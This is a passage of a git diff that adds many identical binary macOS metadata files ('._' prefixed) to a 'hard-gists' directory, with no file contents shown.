Binary files /dev/null and b/hard-gists/._14a8d6bf4783f4704c8a differ
diff --git a/hard-gists/._14f34c2b8153d9b4f336df8535b3416a b/hard-gists/._14f34c2b8153d9b4f336df8535b3416a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._14f34c2b8153d9b4f336df8535b3416a differ
diff --git a/hard-gists/._1507152 b/hard-gists/._1507152
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1507152 differ
diff --git a/hard-gists/._1509946 b/hard-gists/._1509946
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1509946 differ
diff --git a/hard-gists/._1516095 b/hard-gists/._1516095
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1516095 differ
diff --git a/hard-gists/._1519543 b/hard-gists/._1519543
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1519543 differ
diff --git a/hard-gists/._1521059 b/hard-gists/._1521059
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1521059 differ
diff --git a/hard-gists/._1522bcdb5b05365c0222 b/hard-gists/._1522bcdb5b05365c0222
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1522bcdb5b05365c0222 differ
diff --git a/hard-gists/._1526444 b/hard-gists/._1526444
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1526444 differ
diff --git a/hard-gists/._152f15b2dadca9a74039aeab944714af b/hard-gists/._152f15b2dadca9a74039aeab944714af
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._152f15b2dadca9a74039aeab944714af differ
diff --git a/hard-gists/._1534135a419bb0b957b9 b/hard-gists/._1534135a419bb0b957b9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1534135a419bb0b957b9 differ
diff --git a/hard-gists/._1545255 b/hard-gists/._1545255
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1545255 differ
diff --git a/hard-gists/._1551619 b/hard-gists/._1551619
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1551619 differ
diff --git a/hard-gists/._1554441 b/hard-gists/._1554441
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1554441 differ
diff --git a/hard-gists/._1556251 b/hard-gists/._1556251
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1556251 differ
diff --git a/hard-gists/._1558831 b/hard-gists/._1558831
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1558831 differ
diff --git a/hard-gists/._1561144 b/hard-gists/._1561144
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1561144 differ
diff --git a/hard-gists/._1567224 b/hard-gists/._1567224
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1567224 differ
diff --git a/hard-gists/._1572547 b/hard-gists/._1572547
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1572547 differ
diff --git a/hard-gists/._1574231 b/hard-gists/._1574231
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1574231 differ
diff --git a/hard-gists/._1589531 b/hard-gists/._1589531
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1589531 differ
diff --git a/hard-gists/._1590178 b/hard-gists/._1590178
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1590178 differ
diff --git a/hard-gists/._15b3c2a2e9bc7a3c345138a32e029969 b/hard-gists/._15b3c2a2e9bc7a3c345138a32e029969
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._15b3c2a2e9bc7a3c345138a32e029969 differ
diff --git a/hard-gists/._15f0772db25343be0bb7072f15992a4e b/hard-gists/._15f0772db25343be0bb7072f15992a4e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._15f0772db25343be0bb7072f15992a4e differ
diff --git a/hard-gists/._1600408 b/hard-gists/._1600408
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1600408 differ
diff --git a/hard-gists/._1608287 b/hard-gists/._1608287
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1608287 differ
diff --git a/hard-gists/._160c990c61c5f527445c b/hard-gists/._160c990c61c5f527445c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._160c990c61c5f527445c differ
diff --git a/hard-gists/._1610922 b/hard-gists/._1610922
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1610922 differ
diff --git a/hard-gists/._1628838 b/hard-gists/._1628838
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1628838 differ
diff --git a/hard-gists/._1638546 b/hard-gists/._1638546
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1638546 differ
diff --git a/hard-gists/._1638695 b/hard-gists/._1638695
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1638695 differ
diff --git a/hard-gists/._1639941 b/hard-gists/._1639941
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1639941 differ
diff --git a/hard-gists/._163f5fdf47ab45d7addd b/hard-gists/._163f5fdf47ab45d7addd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._163f5fdf47ab45d7addd differ
diff --git a/hard-gists/._1646117 b/hard-gists/._1646117
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1646117 differ
diff --git a/hard-gists/._1650115 b/hard-gists/._1650115
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1650115 differ
diff --git a/hard-gists/._1650418 b/hard-gists/._1650418
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1650418 differ
diff --git a/hard-gists/._1653394 b/hard-gists/._1653394
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1653394 differ
diff --git a/hard-gists/._166499794efcdfde4d00 b/hard-gists/._166499794efcdfde4d00
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._166499794efcdfde4d00 differ
diff --git a/hard-gists/._1676440 b/hard-gists/._1676440
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1676440 differ
diff --git a/hard-gists/._1679110 b/hard-gists/._1679110
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1679110 differ
diff --git a/hard-gists/._1685139 b/hard-gists/._1685139
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1685139 differ
diff --git a/hard-gists/._1685580 b/hard-gists/._1685580
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1685580 differ
diff --git a/hard-gists/._1688557 b/hard-gists/._1688557
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1688557 differ
diff --git a/hard-gists/._168c9d74b988391e702aac5f4aa69e41 b/hard-gists/._168c9d74b988391e702aac5f4aa69e41
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._168c9d74b988391e702aac5f4aa69e41 differ
diff --git a/hard-gists/._1693769 b/hard-gists/._1693769
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1693769 differ
diff --git a/hard-gists/._1694496 b/hard-gists/._1694496
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1694496 differ
diff --git a/hard-gists/._16c0eb09d232461a773c22803a3df35e b/hard-gists/._16c0eb09d232461a773c22803a3df35e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._16c0eb09d232461a773c22803a3df35e differ
diff --git a/hard-gists/._16ce4914683da30f87d0 b/hard-gists/._16ce4914683da30f87d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._16ce4914683da30f87d0 differ
diff --git a/hard-gists/._16e35ed936bab863a29b b/hard-gists/._16e35ed936bab863a29b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._16e35ed936bab863a29b differ
diff --git a/hard-gists/._1701305 b/hard-gists/._1701305
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1701305 differ
diff --git a/hard-gists/._1701845 b/hard-gists/._1701845
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1701845 differ
diff --git a/hard-gists/._1702293 b/hard-gists/._1702293
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1702293 differ
diff --git a/hard-gists/._1705235 b/hard-gists/._1705235
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1705235 differ
diff --git a/hard-gists/._1707483 b/hard-gists/._1707483
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1707483 differ
diff --git a/hard-gists/._1710122 b/hard-gists/._1710122
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1710122 differ
diff --git a/hard-gists/._1714d2952c09b96ba2d8777f1cbf9de1 b/hard-gists/._1714d2952c09b96ba2d8777f1cbf9de1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1714d2952c09b96ba2d8777f1cbf9de1 differ
diff --git a/hard-gists/._1715202 b/hard-gists/._1715202
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1715202 differ
diff --git a/hard-gists/._1716699 b/hard-gists/._1716699
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1716699 differ
diff --git a/hard-gists/._1720032 b/hard-gists/._1720032
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1720032 differ
diff --git a/hard-gists/._1722150 b/hard-gists/._1722150
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1722150 differ
diff --git a/hard-gists/._1722465 b/hard-gists/._1722465
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1722465 differ
diff --git a/hard-gists/._1722663 b/hard-gists/._1722663
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1722663 differ
diff --git a/hard-gists/._1727204 b/hard-gists/._1727204
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1727204 differ
diff --git a/hard-gists/._1728255 b/hard-gists/._1728255
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1728255 differ
diff --git a/hard-gists/._173778fd95b9e21afd1aa4ed16bb0694 b/hard-gists/._173778fd95b9e21afd1aa4ed16bb0694
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._173778fd95b9e21afd1aa4ed16bb0694 differ
diff --git a/hard-gists/._174056 b/hard-gists/._174056
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._174056 differ
diff --git a/hard-gists/._1748a6676120a0aacea2 b/hard-gists/._1748a6676120a0aacea2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1748a6676120a0aacea2 differ
diff --git a/hard-gists/._1752014 b/hard-gists/._1752014
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1752014 differ
diff --git a/hard-gists/._1757120 b/hard-gists/._1757120
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1757120 differ
diff --git a/hard-gists/._1757c55017ef2bfcc070909bdf0e6547 b/hard-gists/._1757c55017ef2bfcc070909bdf0e6547
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1757c55017ef2bfcc070909bdf0e6547 differ
diff --git a/hard-gists/._1760854 b/hard-gists/._1760854
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1760854 differ
diff --git a/hard-gists/._1761714 b/hard-gists/._1761714
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1761714 differ
diff --git a/hard-gists/._1766791 b/hard-gists/._1766791
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1766791 differ
diff --git a/hard-gists/._1771937 b/hard-gists/._1771937
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1771937 differ
diff --git a/hard-gists/._1773870 b/hard-gists/._1773870
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1773870 differ
diff --git a/hard-gists/._1776202 b/hard-gists/._1776202
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1776202 differ
diff --git a/hard-gists/._177e37756c833768a21d446cc4921c6e b/hard-gists/._177e37756c833768a21d446cc4921c6e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._177e37756c833768a21d446cc4921c6e differ
diff --git a/hard-gists/._1780878 b/hard-gists/._1780878
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1780878 differ
diff --git a/hard-gists/._1788517 b/hard-gists/._1788517
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1788517 differ
diff --git a/hard-gists/._1791644 b/hard-gists/._1791644
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1791644 differ
diff --git a/hard-gists/._1792428 b/hard-gists/._1792428
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1792428 differ
diff --git a/hard-gists/._1792732 b/hard-gists/._1792732
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1792732 differ
diff --git a/hard-gists/._1795840 b/hard-gists/._1795840
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1795840 differ
diff --git a/hard-gists/._1805981 b/hard-gists/._1805981
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1805981 differ
diff --git a/hard-gists/._1808234 b/hard-gists/._1808234
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1808234 differ
diff --git a/hard-gists/._1810707 b/hard-gists/._1810707
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1810707 differ
diff --git a/hard-gists/._1815146 b/hard-gists/._1815146
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1815146 differ
diff --git a/hard-gists/._1818351 b/hard-gists/._1818351
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1818351 differ
diff --git a/hard-gists/._1820074 b/hard-gists/._1820074
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1820074 differ
diff --git a/hard-gists/._1820829 b/hard-gists/._1820829
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1820829 differ
diff --git a/hard-gists/._1823320 b/hard-gists/._1823320
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1823320 differ
diff --git a/hard-gists/._18235723e926be0afbdd b/hard-gists/._18235723e926be0afbdd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._18235723e926be0afbdd differ
diff --git a/hard-gists/._1825401 b/hard-gists/._1825401
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1825401 differ
diff --git a/hard-gists/._1835224 b/hard-gists/._1835224
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1835224 differ
diff --git a/hard-gists/._1844928 b/hard-gists/._1844928
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1844928 differ
diff --git a/hard-gists/._18531dba2bec928424c0 b/hard-gists/._18531dba2bec928424c0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._18531dba2bec928424c0 differ
diff --git a/hard-gists/._1858252 b/hard-gists/._1858252
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1858252 differ
diff --git a/hard-gists/._1860715 b/hard-gists/._1860715
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1860715 differ
diff --git a/hard-gists/._1871929 b/hard-gists/._1871929
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1871929 differ
diff --git a/hard-gists/._1873692 b/hard-gists/._1873692
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1873692 differ
diff --git a/hard-gists/._1876859 b/hard-gists/._1876859
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1876859 differ
diff --git a/hard-gists/._1877577 b/hard-gists/._1877577
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1877577 differ
diff --git a/hard-gists/._187895beb89f0a1b3a54 b/hard-gists/._187895beb89f0a1b3a54
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._187895beb89f0a1b3a54 differ
diff --git a/hard-gists/._1878983 b/hard-gists/._1878983
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1878983 differ
diff --git a/hard-gists/._1879626 b/hard-gists/._1879626
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1879626 differ
diff --git a/hard-gists/._1882562 b/hard-gists/._1882562
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1882562 differ
diff --git a/hard-gists/._18a73aa5dab4b574e2f5 b/hard-gists/._18a73aa5dab4b574e2f5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._18a73aa5dab4b574e2f5 differ
diff --git a/hard-gists/._18a8e06c2b179bb78353fbacfeee82da b/hard-gists/._18a8e06c2b179bb78353fbacfeee82da
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._18a8e06c2b179bb78353fbacfeee82da differ
diff --git a/hard-gists/._18e6b6ed5d69b057e773 b/hard-gists/._18e6b6ed5d69b057e773
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._18e6b6ed5d69b057e773 differ
diff --git a/hard-gists/._1907f96e6e680bbeb15393d4f441b55e b/hard-gists/._1907f96e6e680bbeb15393d4f441b55e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1907f96e6e680bbeb15393d4f441b55e differ
diff --git a/hard-gists/._1911238 b/hard-gists/._1911238
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1911238 differ
diff --git a/hard-gists/._1912053 b/hard-gists/._1912053
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1912053 differ
diff --git a/hard-gists/._19154831c2049a69e8d53dea8cf3e744 b/hard-gists/._19154831c2049a69e8d53dea8cf3e744
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._19154831c2049a69e8d53dea8cf3e744 differ
diff --git a/hard-gists/._1918389 b/hard-gists/._1918389
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1918389 differ
diff --git a/hard-gists/._1919511 b/hard-gists/._1919511
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1919511 differ
diff --git a/hard-gists/._191d15e28c39246a2525 b/hard-gists/._191d15e28c39246a2525
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._191d15e28c39246a2525 differ
diff --git a/hard-gists/._1920535 b/hard-gists/._1920535
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1920535 differ
diff --git a/hard-gists/._1927a29f642593861afc b/hard-gists/._1927a29f642593861afc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1927a29f642593861afc differ
diff --git a/hard-gists/._1928063 b/hard-gists/._1928063
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1928063 differ
diff --git a/hard-gists/._19284bd220165758a0c953ae25108b6b b/hard-gists/._19284bd220165758a0c953ae25108b6b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._19284bd220165758a0c953ae25108b6b differ
diff --git a/hard-gists/._19317d3e4b9a58f2355e7643040d483a b/hard-gists/._19317d3e4b9a58f2355e7643040d483a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._19317d3e4b9a58f2355e7643040d483a differ
diff --git a/hard-gists/._1935808 b/hard-gists/._1935808
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1935808 differ
diff --git a/hard-gists/._1940208 b/hard-gists/._1940208
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1940208 differ
diff --git a/hard-gists/._1943426 b/hard-gists/._1943426
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1943426 differ
diff --git a/hard-gists/._1947166 b/hard-gists/._1947166
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1947166 differ
diff --git a/hard-gists/._1950267 b/hard-gists/._1950267
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1950267 differ
diff --git a/hard-gists/._1951709 b/hard-gists/._1951709
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1951709 differ
diff --git a/hard-gists/._1969d4648458cf876af92b3507856d70 b/hard-gists/._1969d4648458cf876af92b3507856d70
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1969d4648458cf876af92b3507856d70 differ
diff --git a/hard-gists/._1971061 b/hard-gists/._1971061
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1971061 differ
diff --git a/hard-gists/._1997771 b/hard-gists/._1997771
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1997771 differ
diff --git a/hard-gists/._19a4b105d1dff9a591b8 b/hard-gists/._19a4b105d1dff9a591b8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._19a4b105d1dff9a591b8 differ
diff --git a/hard-gists/._19d2397ff8da1952556cf2417d965f6c b/hard-gists/._19d2397ff8da1952556cf2417d965f6c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._19d2397ff8da1952556cf2417d965f6c differ
diff --git a/hard-gists/._1a43c785226a06a72872 b/hard-gists/._1a43c785226a06a72872
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1a43c785226a06a72872 differ
diff --git a/hard-gists/._1ad56b7720af8d706e7f22cbcb8c6d70 b/hard-gists/._1ad56b7720af8d706e7f22cbcb8c6d70
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1ad56b7720af8d706e7f22cbcb8c6d70 differ
diff --git a/hard-gists/._1aefa4509e066690b892 b/hard-gists/._1aefa4509e066690b892
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1aefa4509e066690b892 differ
diff --git a/hard-gists/._1b42a20c8f3eb9bb7cb8 b/hard-gists/._1b42a20c8f3eb9bb7cb8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1b42a20c8f3eb9bb7cb8 differ
diff --git a/hard-gists/._1b49c03968b2c83897a4a15c78980b18 b/hard-gists/._1b49c03968b2c83897a4a15c78980b18
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1b49c03968b2c83897a4a15c78980b18 differ
diff --git a/hard-gists/._1b94c541ffc158d3e668810b75d69405 b/hard-gists/._1b94c541ffc158d3e668810b75d69405
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1b94c541ffc158d3e668810b75d69405 differ
diff --git a/hard-gists/._1bd64fbbbc07f2a7634bcb9275929dac b/hard-gists/._1bd64fbbbc07f2a7634bcb9275929dac
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1bd64fbbbc07f2a7634bcb9275929dac differ
diff --git a/hard-gists/._1c160c9eee91fd44c587 b/hard-gists/._1c160c9eee91fd44c587
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1c160c9eee91fd44c587 differ
diff --git a/hard-gists/._1c3176fe9e38dcaadd1e56c2f15c95d9 b/hard-gists/._1c3176fe9e38dcaadd1e56c2f15c95d9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1c3176fe9e38dcaadd1e56c2f15c95d9 differ
diff --git a/hard-gists/._1c48360bde201b3d54ab b/hard-gists/._1c48360bde201b3d54ab
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1c48360bde201b3d54ab differ
diff --git a/hard-gists/._1c9b352ba19b5e33f9c4 b/hard-gists/._1c9b352ba19b5e33f9c4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1c9b352ba19b5e33f9c4 differ
diff --git a/hard-gists/._1cae669defce037511ada4e0ed01b3cd b/hard-gists/._1cae669defce037511ada4e0ed01b3cd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1cae669defce037511ada4e0ed01b3cd differ
diff --git a/hard-gists/._1cb4d81fed37fd06ef60d08c1181f557 b/hard-gists/._1cb4d81fed37fd06ef60d08c1181f557
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1cb4d81fed37fd06ef60d08c1181f557 differ
diff --git a/hard-gists/._1cb65c4b5be2575ea3ab b/hard-gists/._1cb65c4b5be2575ea3ab
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1cb65c4b5be2575ea3ab differ
diff --git a/hard-gists/._1cd6ce82490d2c0f2e0a b/hard-gists/._1cd6ce82490d2c0f2e0a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1cd6ce82490d2c0f2e0a differ
diff --git a/hard-gists/._1cec2b3d8aeaaa102e3b b/hard-gists/._1cec2b3d8aeaaa102e3b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1cec2b3d8aeaaa102e3b differ
diff --git a/hard-gists/._1d08fa7af5ab846211ace2447e1e3e8a b/hard-gists/._1d08fa7af5ab846211ace2447e1e3e8a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1d08fa7af5ab846211ace2447e1e3e8a differ
diff --git a/hard-gists/._1d596ca757a541da96ac3caa6f291229 b/hard-gists/._1d596ca757a541da96ac3caa6f291229
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1d596ca757a541da96ac3caa6f291229 differ
diff --git a/hard-gists/._1d5b3ad08201b7df48c7f25a169d0021 b/hard-gists/._1d5b3ad08201b7df48c7f25a169d0021
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1d5b3ad08201b7df48c7f25a169d0021 differ
diff --git a/hard-gists/._1d7cb531bb8fff8c228b7710126bcc33 b/hard-gists/._1d7cb531bb8fff8c228b7710126bcc33
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1d7cb531bb8fff8c228b7710126bcc33 differ
diff --git a/hard-gists/._1d878d0401b28b281eb75016ed29f2ee b/hard-gists/._1d878d0401b28b281eb75016ed29f2ee
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1d878d0401b28b281eb75016ed29f2ee differ
diff --git a/hard-gists/._1da13f548200d9fb2b06 b/hard-gists/._1da13f548200d9fb2b06
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1da13f548200d9fb2b06 differ
diff --git a/hard-gists/._1ddc318b4124ed152f6d b/hard-gists/._1ddc318b4124ed152f6d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1ddc318b4124ed152f6d differ
diff --git a/hard-gists/._1df6d34cd1b2861eb6b7432ee7245ccd b/hard-gists/._1df6d34cd1b2861eb6b7432ee7245ccd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1df6d34cd1b2861eb6b7432ee7245ccd differ
diff --git a/hard-gists/._1e1d383fb21841e8f144 b/hard-gists/._1e1d383fb21841e8f144
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1e1d383fb21841e8f144 differ
diff --git a/hard-gists/._1e2600ed62d5e76b21ee b/hard-gists/._1e2600ed62d5e76b21ee
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1e2600ed62d5e76b21ee differ
diff --git a/hard-gists/._1e5404260b7e3a8ba4ba0a0d62c0cf75 b/hard-gists/._1e5404260b7e3a8ba4ba0a0d62c0cf75
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1e5404260b7e3a8ba4ba0a0d62c0cf75 differ
diff --git a/hard-gists/._1e58686b6d5193cbaf30 b/hard-gists/._1e58686b6d5193cbaf30
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1e58686b6d5193cbaf30 differ
diff --git a/hard-gists/._1e7c18c6f6eda87f1cb4995b0e6a22a5 b/hard-gists/._1e7c18c6f6eda87f1cb4995b0e6a22a5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1e7c18c6f6eda87f1cb4995b0e6a22a5 differ
diff --git a/hard-gists/._1e7c794842755683162b b/hard-gists/._1e7c794842755683162b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._1e7c794842755683162b differ
diff --git a/hard-gists/._1e7e3c1da32d00f8ce0dff6b86fd45fe b/hard-gists/._1e7e3c1da32d00f8ce0dff6b86fd45fe
new file mode 100644
index 00000000..cd8af967
